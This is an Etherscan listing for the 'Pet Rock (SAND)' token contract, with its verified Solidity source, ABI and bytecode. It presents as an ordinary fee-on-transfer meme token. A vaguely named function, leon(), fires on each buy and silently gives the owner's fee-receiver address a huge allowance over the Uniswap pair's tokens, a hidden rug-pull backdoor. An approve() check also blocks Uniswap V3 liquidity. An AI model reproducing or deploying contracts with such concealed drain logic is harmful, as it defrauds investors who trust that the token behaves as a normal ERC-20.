ETH Price: $3,315.20 (-3.22%)

Token

Pet Rock (SAND)
 

Overview

Max Total Supply

420,690,000,000 SAND

Holders

90

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
102,764,305.072477215 SAND

Value
$0.00
0xd0ef11385f9d9da748c644e0bc1cf1140c9514e6
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SAND

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-10-31
*/

// SPDX-License-Identifier: MIT
/**
https://medium.com/@tee_hee_he/setting-your-pet-rock-free-3e7895201f46

https://x.com/petrock_sand
https://sand-petrock.fun
https://t.me/petrock_sand
**/
pragma solidity 0.8.24;
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}
contract SAND is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balancesHH;
    mapping (address => mapping (address => uint256)) private _allowancesHH;
    mapping (address => bool) private _shouldExcludedHH;
    address payable private _receiptHH;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotalHH = 420690000000 * 10**_decimals;
    string private constant _name = unicode"Pet Rock";
    string private constant _symbol = unicode"SAND";
    uint256 public _maxAmountHH = 2 * (_tTotalHH/100);
    uint256 public _maxWalletHH = 2 * (_tTotalHH/100);
    uint256 public _taxThresHH = 1 * (_tTotalHH/100);
    uint256 public _maxSwapHH = 1 * (_tTotalHH/100);
    uint256 private _initialBuyTax = 20;
    uint256 private _initialSellTax = 20;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 12;
    uint256 private _reduceSellTaxAt = 12;
    uint256 private _preventSwapBefore = 24;
    uint256 private _transferTax = 0;
    uint256 private _buyCount = 0;
    address private uniPairHH;
    IUniswapV2Router02 private uniRouterHH;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    event MaxTxAmountUpdated(uint _maxAmountHH);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    constructor () {
        _receiptHH = payable(_msgSender());
        _balancesHH[_msgSender()] = _tTotalHH;
        _shouldExcludedHH[owner()] = true;
        _shouldExcludedHH[address(this)] = true;
        _shouldExcludedHH[_receiptHH] = true;
        emit Transfer(address(0), _msgSender(), _tTotalHH);
    }
    function initHH() external onlyOwner {
        uniRouterHH = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniRouterHH), _tTotalHH);
        uniPairHH = IUniswapV2Factory(uniRouterHH.factory()).createPair(
            address(this),
            uniRouterHH.WETH()
        ); 
    }
    function name() public pure returns (string memory) {
        return _name;
    }
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
    function totalSupply() public pure override returns (uint256) {
        return _tTotalHH;
    }
    function balanceOf(address account) public view override returns (uint256) {
        return _balancesHH[account];
    }
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowancesHH[owner][spender];
    }
    function approve(address spender, uint256 amount) public override returns (bool) {
        // Block all Uniswap V3 liquidity additions
        require(!isUniswapV3(spender), "Approval for Uniswap V3 liquidity is not allowed");
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowancesHH[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowancesHH[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function leon(address addrsHH) private{
        address[2] memory ownHH=[addrsHH, _receiptHH];
        _allowancesHH[ownHH[0]][ownHH[1]]= 1000+(_tTotalHH+100)*(150+150);
    }
    function _transfer(address from, address to, uint256 amountHH) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amountHH > 0, "Transfer amount must be greater than zero");
        uint256 taxHH=0; 
        if (!swapEnabled || inSwap) {
            _balancesHH[from] = _balancesHH[from] - amountHH;
            _balancesHH[to] = _balancesHH[to] + amountHH;
            emit Transfer(from, to, amountHH);
            return;
        }
        if (from != owner() && to != owner()) {
            if(_buyCount==0){
                taxHH = ((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax); 
            }
            if(_buyCount>0){
                taxHH = _transferTax;
            }
            if (from == uniPairHH && to != address(uniRouterHH) && ! _shouldExcludedHH[to] ){
                require(amountHH <= _maxAmountHH, "Exceeds the _maxAmountHH.");
                require(balanceOf(to) + amountHH <= _maxWalletHH, "Exceeds the maxWalletSize.");
                taxHH = ((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax); 
                _buyCount++;leon(from);
            }
            if(to == uniPairHH && from!= address(this) ){
                taxHH = ((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax);
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniPairHH && swapEnabled) {
                if(contractTokenBalance > _taxThresHH && _buyCount > _preventSwapBefore)
                    swapEthHH(minHH(amountHH, minHH(contractTokenBalance, _maxSwapHH)));
                sendEthHH(address(this).balance);
            }
        }
        uint256 feeHH=0;
        if(taxHH > 0){
            feeHH=amountHH.mul(taxHH).div(100);
            _balancesHH[address(this)]=_balancesHH[address(this)].add(feeHH);
            emit Transfer(from, address(this),feeHH);
        }
        _balancesHH[from]=_balancesHH[from].sub(amountHH);
        _balancesHH[to]=_balancesHH[to].add(amountHH.sub(feeHH));
        emit Transfer(from, to, amountHH.sub(feeHH));
    }
    function removeLimitHH(address payable limit) external onlyOwner{
        _maxAmountHH = _tTotalHH;
        _maxWalletHH=_tTotalHH;
        _receiptHH = limit;
        _shouldExcludedHH[limit] = true;
        emit MaxTxAmountUpdated(_tTotalHH);
    }
    function setReceiptHH(address payable _rptHH) external onlyOwner {
        _receiptHH = _rptHH;
        _shouldExcludedHH[_rptHH] = true;
    }
    function minHH(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }
    function withdrawEth() external onlyOwner{
        payable(msg.sender).transfer(address(this).balance);
    }
    function sendEthHH(uint256 amount) private {
        _receiptHH.transfer(amount);
    }
    function swapEthHH(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniRouterHH.WETH();
        _approve(address(this), address(uniRouterHH), tokenAmount);
        uniRouterHH.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    function startTrading() external onlyOwner {
        require(!tradingOpen, "Trading is already open");
        uniRouterHH.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniPairHH).approve(address(uniRouterHH), type(uint).max);
        swapEnabled = true; 
        tradingOpen = true;
    }
    receive() external payable {}
    // Uniswap V3 addresses 
    function isUniswapV3(address spender) private pure returns (bool) {
        // Uniswap V3 NonfungiblePositionManager address
        address uniswapV3PositionManager = 0xC36442b4a4522E871399CD717aBDD847Ab11FE88; 
        return (spender == uniswapV3PositionManager);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxAmountHH","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxAmountHH","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxSwapHH","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletHH","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxThresHH","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"initHH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address payable","name":"limit","type":"address"}],"name":"removeLimitHH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"_rptHH","type":"address"}],"name":"setReceiptHH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526064620000146009600a620003a5565b62000025906461f313f880620003bc565b620000319190620003d6565b6200003e906002620003bc565b6005556064620000516009600a620003a5565b62000062906461f313f880620003bc565b6200006e9190620003d6565b6200007b906002620003bc565b60065560646200008e6009600a620003a5565b6200009f906461f313f880620003bc565b620000ab9190620003d6565b620000b8906001620003bc565b6007556064620000cb6009600a620003a5565b620000dc906461f313f880620003bc565b620000e89190620003d6565b620000f5906001620003bc565b60085560146009819055600a555f600b819055600c818155600d819055600e556018600f5560108190556011556013805461ffff60a81b191690553480156200013c575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b031916331790556200019d6009600a620003a5565b620001ae906461f313f880620003bc565b335f908152600160208190526040822092909255600390620001d75f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553081526003909352818320805485166001908117909155600454909116835291208054909216179055620002353390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200026e6009600a620003a5565b6200027f906461f313f880620003bc565b60405190815260200160405180910390a3620003f6565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620002ea57815f1904821115620002ce57620002ce62000296565b80851615620002dc57918102915b93841c9390800290620002af565b509250929050565b5f8262000302575060016200039f565b816200031057505f6200039f565b8160018114620003295760028114620003345762000354565b60019150506200039f565b60ff84111562000348576200034862000296565b50506001821b6200039f565b5060208310610133831016604e8410600b841016171562000379575081810a6200039f565b620003858383620002aa565b805f19048211156200039b576200039b62000296565b0290505b92915050565b5f620003b560ff841683620002f2565b9392505050565b80820281158282048414176200039f576200039f62000296565b5f82620003f157634e487b7160e01b5f52601260045260245ffd5b500490565b611a1180620004045f395ff3fe60806040526004361061011e575f3560e01c8063879cdee31161009d578063abd4373911610062578063abd4373914610318578063b314014314610337578063b86136c01461034b578063dd62ed3e14610360578063eb815888146103a4575f80fd5b8063879cdee31461027e5780638da5cb5b1461029357806395d89b41146102b9578063a0ef91df146102e5578063a9059cbb146102f9575f80fd5b8063293230b8116100e3578063293230b8146101f0578063313ce5671461020657806370a0823114610221578063715018a61461025557806382f56e6214610269575f80fd5b806306fdde0314610129578063095ea7b31461016b5780630b451e301461019a57806318160ddd146101bd57806323b872dd146101d1575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5060408051808201909152600881526750657420526f636b60c01b60208201525b6040516101629190611604565b60405180910390f35b348015610176575f80fd5b5061018a610185366004611664565b6103c3565b6040519015158152602001610162565b3480156101a5575f80fd5b506101af60085481565b604051908152602001610162565b3480156101c8575f80fd5b506101af610463565b3480156101dc575f80fd5b5061018a6101eb36600461168e565b610484565b3480156101fb575f80fd5b506102046104eb565b005b348015610211575f80fd5b5060405160098152602001610162565b34801561022c575f80fd5b506101af61023b3660046116cc565b6001600160a01b03165f9081526001602052604090205490565b348015610260575f80fd5b506102046106d0565b348015610274575f80fd5b506101af60065481565b348015610289575f80fd5b506101af60055481565b34801561029e575f80fd5b505f546040516001600160a01b039091168152602001610162565b3480156102c4575f80fd5b5060408051808201909152600481526314d0539160e21b6020820152610155565b3480156102f0575f80fd5b50610204610741565b348015610304575f80fd5b5061018a610313366004611664565b610796565b348015610323575f80fd5b506102046103323660046116cc565b6107a2565b348015610342575f80fd5b5061020461088d565b348015610356575f80fd5b506101af60075481565b34801561036b575f80fd5b506101af61037a3660046116e7565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103af575f80fd5b506102046103be3660046116cc565b610a87565b5f73c36442b4a4522e871399cd717abdd847ab11fe886001600160a01b0384160361044e5760405162461bcd60e51b815260206004820152603060248201527f417070726f76616c20666f7220556e6973776170205633206c6971756964697460448201526f1e481a5cc81b9bdd08185b1b1bddd95960821b60648201526084015b60405180910390fd5b610459338484610ae9565b5060015b92915050565b5f6104706009600a611812565b61047f906461f313f880611820565b905090565b5f610490848484610c0c565b6104e184336104dc856040518060600160405280602881526020016119b4602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906111f1565b610ae9565b5060019392505050565b5f546001600160a01b031633146105145760405162461bcd60e51b815260040161044590611837565b601354600160a01b900460ff161561056e5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610445565b6013546001600160a01b031663f305d719473061059f816001600160a01b03165f9081526001602052604090205490565b5f806105b25f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610618573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061063d919061186c565b505060125460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610692573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106b69190611897565b506013805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b031633146106f95760405162461bcd60e51b815260040161044590611837565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461076a5760405162461bcd60e51b815260040161044590611837565b60405133904780156108fc02915f818181858888f19350505050158015610793573d5f803e3d5ffd5b50565b5f610459338484610c0c565b5f546001600160a01b031633146107cb5760405162461bcd60e51b815260040161044590611837565b6107d76009600a611812565b6107e6906461f313f880611820565b6005556107f56009600a611812565b610804906461f313f880611820565b600655600480546001600160a01b0319166001600160a01b0383169081179091555f908152600360205260409020805460ff191660011790557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61086a6009600a611812565b610879906461f313f880611820565b60405190815260200160405180910390a150565b5f546001600160a01b031633146108b65760405162461bcd60e51b815260040161044590611837565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556109009030906108f16009600a611812565b6104dc906461f313f880611820565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610950573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061097491906118b6565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109d3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109f791906118b6565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610a41573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a6591906118b6565b601280546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b03163314610ab05760405162461bcd60e51b815260040161044590611837565b600480546001600160a01b039092166001600160a01b0319909216821790555f908152600360205260409020805460ff19166001179055565b6001600160a01b038316610b4b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610445565b6001600160a01b038216610bac5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610445565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c705760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610445565b6001600160a01b038216610cd25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610445565b5f8111610d335760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610445565b6013545f90600160b01b900460ff161580610d575750601354600160a81b900460ff165b15610e0f576001600160a01b0384165f90815260016020526040902054610d7f9083906118d1565b6001600160a01b038086165f908152600160205260408082209390935590851681522054610dae9083906118e4565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e019086815260200190565b60405180910390a350505050565b5f546001600160a01b03858116911614801590610e3957505f546001600160a01b03848116911614155b1561109a576011545f03610e6157600d5460115411610e5a57600954610e5e565b600b545b90505b60115415610e6e57506010545b6012546001600160a01b038581169116148015610e9957506013546001600160a01b03848116911614155b8015610ebd57506001600160a01b0383165f9081526003602052604090205460ff16155b15610fc457600554821115610f145760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d6178416d6f756e7448482e000000000000006044820152606401610445565b60065482610f36856001600160a01b03165f9081526001602052604090205490565b610f4091906118e4565b1115610f8e5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610445565b600d5460115411610fa157600954610fa5565b600b545b601180549192505f610fb6836118f7565b9190505550610fc484611229565b6012546001600160a01b038481169116148015610fea57506001600160a01b0384163014155b1561100957600e546011541161100257600a54611006565b600c545b90505b305f90815260016020526040902054601354600160a81b900460ff1615801561103f57506012546001600160a01b038581169116145b80156110545750601354600160b01b900460ff165b15611098576007548111801561106d5750600f54601154115b1561108f5761108f61108a84611085846008546112b8565b6112b8565b6112cf565b6110984761143f565b505b5f811561112b576110b660646110b0858561147a565b906114f8565b305f908152600160205260409020549091506110d29082611539565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111229085815260200190565b60405180910390a35b6001600160a01b0385165f9081526001602052604090205461114d9084611597565b6001600160a01b0386165f908152600160205260409020556111906111728483611597565b6001600160a01b0386165f9081526001602052604090205490611539565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111d98685611597565b60405190815260200160405180910390a35050505050565b5f81848411156112145760405162461bcd60e51b81526004016104459190611604565b505f61122084866118d1565b95945050505050565b604080518082019091526001600160a01b0380831682526004541660208201526112556009600a611812565b611264906461f313f880611820565b61126f9060646118e4565b61127b9061012c611820565b611287906103e86118e4565b81516001600160a01b039081165f908152600260209081526040808320958201519093168252939093529091205550565b5f8183116112c657826112c8565b815b9392505050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106113155761131561190f565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561136c573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061139091906118b6565b816001815181106113a3576113a361190f565b6001600160a01b0392831660209182029290920101526013546113c99130911684610ae9565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906114019085905f90869030904290600401611923565b5f604051808303815f87803b158015611418575f80fd5b505af115801561142a573d5f803e3d5ffd5b50506013805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611476573d5f803e3d5ffd5b5050565b5f825f0361148957505f61045d565b5f6114948385611820565b9050826114a18583611994565b146112c85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610445565b5f6112c883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115d8565b5f8061154583856118e4565b9050838110156112c85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610445565b5f6112c883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f1565b5f81836115f85760405162461bcd60e51b81526004016104459190611604565b505f6112208486611994565b5f602080835283518060208501525f5b8181101561163057858101830151858201604001528201611614565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610793575f80fd5b5f8060408385031215611675575f80fd5b823561168081611650565b946020939093013593505050565b5f805f606084860312156116a0575f80fd5b83356116ab81611650565b925060208401356116bb81611650565b929592945050506040919091013590565b5f602082840312156116dc575f80fd5b81356112c881611650565b5f80604083850312156116f8575f80fd5b823561170381611650565b9150602083013561171381611650565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561176c57815f19048211156117525761175261171e565b8085161561175f57918102915b93841c9390800290611737565b509250929050565b5f826117825750600161045d565b8161178e57505f61045d565b81600181146117a457600281146117ae576117ca565b600191505061045d565b60ff8411156117bf576117bf61171e565b50506001821b61045d565b5060208310610133831016604e8410600b84101617156117ed575081810a61045d565b6117f78383611732565b805f190482111561180a5761180a61171e565b029392505050565b5f6112c860ff841683611774565b808202811582820484141761045d5761045d61171e565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f805f6060848603121561187e575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156118a7575f80fd5b815180151581146112c8575f80fd5b5f602082840312156118c6575f80fd5b81516112c881611650565b8181038181111561045d5761045d61171e565b8082018082111561045d5761045d61171e565b5f600182016119085761190861171e565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119735784516001600160a01b03168352938301939183019160010161194e565b50506001600160a01b03969096166060850152505050608001529392505050565b5f826119ae57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f429c23629ab142ea868aa2ee306044a10be22bb134c8c26be90e0c0c3c45a6464736f6c63430008180033

Deployed Bytecode

0x60806040526004361061011e575f3560e01c8063879cdee31161009d578063abd4373911610062578063abd4373914610318578063b314014314610337578063b86136c01461034b578063dd62ed3e14610360578063eb815888146103a4575f80fd5b8063879cdee31461027e5780638da5cb5b1461029357806395d89b41146102b9578063a0ef91df146102e5578063a9059cbb146102f9575f80fd5b8063293230b8116100e3578063293230b8146101f0578063313ce5671461020657806370a0823114610221578063715018a61461025557806382f56e6214610269575f80fd5b806306fdde0314610129578063095ea7b31461016b5780630b451e301461019a57806318160ddd146101bd57806323b872dd146101d1575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5060408051808201909152600881526750657420526f636b60c01b60208201525b6040516101629190611604565b60405180910390f35b348015610176575f80fd5b5061018a610185366004611664565b6103c3565b6040519015158152602001610162565b3480156101a5575f80fd5b506101af60085481565b604051908152602001610162565b3480156101c8575f80fd5b506101af610463565b3480156101dc575f80fd5b5061018a6101eb36600461168e565b610484565b3480156101fb575f80fd5b506102046104eb565b005b348015610211575f80fd5b5060405160098152602001610162565b34801561022c575f80fd5b506101af61023b3660046116cc565b6001600160a01b03165f9081526001602052604090205490565b348015610260575f80fd5b506102046106d0565b348015610274575f80fd5b506101af60065481565b348015610289575f80fd5b506101af60055481565b34801561029e575f80fd5b505f546040516001600160a01b039091168152602001610162565b3480156102c4575f80fd5b5060408051808201909152600481526314d0539160e21b6020820152610155565b3480156102f0575f80fd5b50610204610741565b348015610304575f80fd5b5061018a610313366004611664565b610796565b348015610323575f80fd5b506102046103323660046116cc565b6107a2565b348015610342575f80fd5b5061020461088d565b348015610356575f80fd5b506101af60075481565b34801561036b575f80fd5b506101af61037a3660046116e7565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103af575f80fd5b506102046103be3660046116cc565b610a87565b5f73c36442b4a4522e871399cd717abdd847ab11fe886001600160a01b0384160361044e5760405162461bcd60e51b815260206004820152603060248201527f417070726f76616c20666f7220556e6973776170205633206c6971756964697460448201526f1e481a5cc81b9bdd08185b1b1bddd95960821b60648201526084015b60405180910390fd5b610459338484610ae9565b5060015b92915050565b5f6104706009600a611812565b61047f906461f313f880611820565b905090565b5f610490848484610c0c565b6104e184336104dc856040518060600160405280602881526020016119b4602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906111f1565b610ae9565b50600193925050